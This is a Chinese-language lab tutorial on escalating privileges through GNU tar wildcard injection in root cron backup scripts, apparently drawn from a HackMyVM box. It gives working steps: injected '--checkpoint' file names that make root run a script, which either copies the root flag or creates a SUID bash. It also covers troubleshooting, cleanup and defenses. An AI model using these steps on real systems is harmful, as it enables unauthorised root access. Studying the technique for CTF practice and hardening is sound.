tar wildcard 注入提权
tar wildcard 注入常见于高权限备份脚本:脚本进入某个可写目录后,使用裸 * 把当前目录内容交给 tar。如果攻击者能在该目录创建以 -- 开头的文件名,这些文件名可能被 tar 当作命令行参数解析,从而触发命令执行。
典型危险写法:
cd /var/www/html
tar -czf /root/backup.tar.gz *
这里的 * 先由 shell 展开,再交给 tar。如果当前目录存在名为 --checkpoint=1 和 --checkpoint-action=exec=sh shell.sh 的文件,tar 收到的就不只是普通文件名,而是额外选项。
适用条件
| 条件 | 判断方式 |
|---|---|
高权限任务会执行 tar | 查看 /etc/crontab、/etc/cron.d/、systemd timer、备份脚本 |
tar 命令使用裸 * | 例如 tar -czf backup.tar.gz * |
| 执行目录可写 | 当前用户或可切换用户能在该目录创建文件 |
| 目标是 GNU tar | 需要支持 --checkpoint 和 --checkpoint-action |
| 命令没有终止选项解析 | 未使用 tar ... -- * 或 ./* 这类安全写法 |
不满足这些条件时,不要硬套这个方法。比如脚本使用 tar -czf backup.tar.gz ./、tar -czf backup.tar.gz -- *,或者通配符展开后带有路径前缀,通常就不会把文件名当作选项。
发现流程
拿到普通用户 shell 后,优先确认 sudo、cron 和备份脚本:
id
sudo -l
cat /etc/crontab
ls -la /etc/cron.d/
看到可疑脚本后,查看脚本内容:
cat /opt/backup.sh
重点看三件事:
- 谁执行脚本,例如
/etc/crontab中是否写着root /opt/backup.sh。 - 脚本是否
cd到一个可写目录。 tar是否对裸*做归档。
示例:
#!/bin/bash
BACKUP_DIR="/root"
TARGET="/var/www/html"
cd $TARGET
tar -czf $BACKUP_DIR/wordpress_backup.tar.gz *
这类脚本的关键风险是:/var/www/html 中的文件名由低权限用户控制,但 tar 由 root 执行。
利用原理
GNU tar 的 checkpoint 机制可以在归档处理到指定进度时执行动作:
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
如果把这两个字符串伪装成文件名,并让易受影响的备份脚本执行:
tar -czf /root/backup.tar.gz *
shell 会把 * 展开为当前目录里的文件名,tar 会把以 --checkpoint 开头的文件名解析成自己的参数,最终以备份任务的权限执行 shell.sh。
创建这类特殊文件名时,要给 touch 加 --,否则 touch 自己会把它们当作选项:
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh shell.sh"
方法 A:复制 root flag
靶场里最稳定的验证方式是让 root 复制 flag 到一个可读位置:
cd /var/www/html
printf "%s\n" \
"cp /root/root.txt /var/www/html/root.txt" \
"chmod 644 /var/www/html/root.txt" > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh shell.sh"
等待 cron 执行后读取结果:
ls -l /var/www/html/root.txt
cat /var/www/html/root.txt
这种方式不依赖交互 shell,也不受 nosuid 挂载影响,适合通关文章里复现。
方法 B:生成 SUID bash
如果想验证完整 root 命令执行,也可以生成 SUID bash 副本:
cd /var/www/html
printf "%s\n" \
"cp /bin/bash /var/www/html/rootbash" \
"chown root:root /var/www/html/rootbash" \
"chmod 4755 /var/www/html/rootbash" > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh shell.sh"
等待 cron 执行后:
/var/www/html/rootbash -p -c 'id; whoami'
如果看到 euid=0(root),说明 SUID 副本生效。
注意挂载选项。如果把 SUID 副本放在 /tmp,而 /tmp 带有 nosuid,即使权限位显示为 4755,执行时也不会获得 root euid。
常见失败原因
| 现象 | 原因 |
|---|---|
touch: unrecognized option '--checkpoint=1' | 创建特殊文件名时没有使用 touch -- |
| cron 执行后没有效果 | 任务没有以 root 执行,或脚本没有进入可写目录 |
tar 不识别 checkpoint 参数 | 目标不是 GNU tar,或版本不支持该参数 |
| SUID 文件执行后不是 root | 文件所在挂载点带 nosuid |
Text file busy | cron 正在覆盖 SUID bash,等待下一轮或改用复制 flag 方法 |
| 文件名没有被当作选项 | 脚本使用了 -- *、./*、绝对路径前缀或其他安全写法 |
清理
验证完成后删除注入文件和结果文件:
cd /var/www/html
rm -f -- shell.sh root.txt rootbash \
"--checkpoint=1" \
"--checkpoint-action=exec=sh shell.sh"
如果备份任务持续运行,清理后再等一轮 cron,确认没有重新生成利用结果。
防御建议
- 不要让高权限脚本在低权限用户可写目录中执行裸
*。 - 使用
tar -czf backup.tar.gz -- *终止选项解析。 - 更稳妥的写法是显式指定安全路径,例如
tar -czf backup.tar.gz -C /var/www/html .。 - 备份目录与 Web 根目录分离,避免 Web 用户能写入备份输入目录。
- cron 脚本中固定
PATH,使用绝对命令路径,并审计所有可控文件名进入命令参数的位置。 - 对备份脚本做最小权限运行,能用专用备份用户就不要用 root。
来源案例
- HackMyVM Artig:
max可切到www-data,而 root cron 在/var/www/html中执行tar -czf ... *,最终通过 checkpoint 参数注入读取 root flag。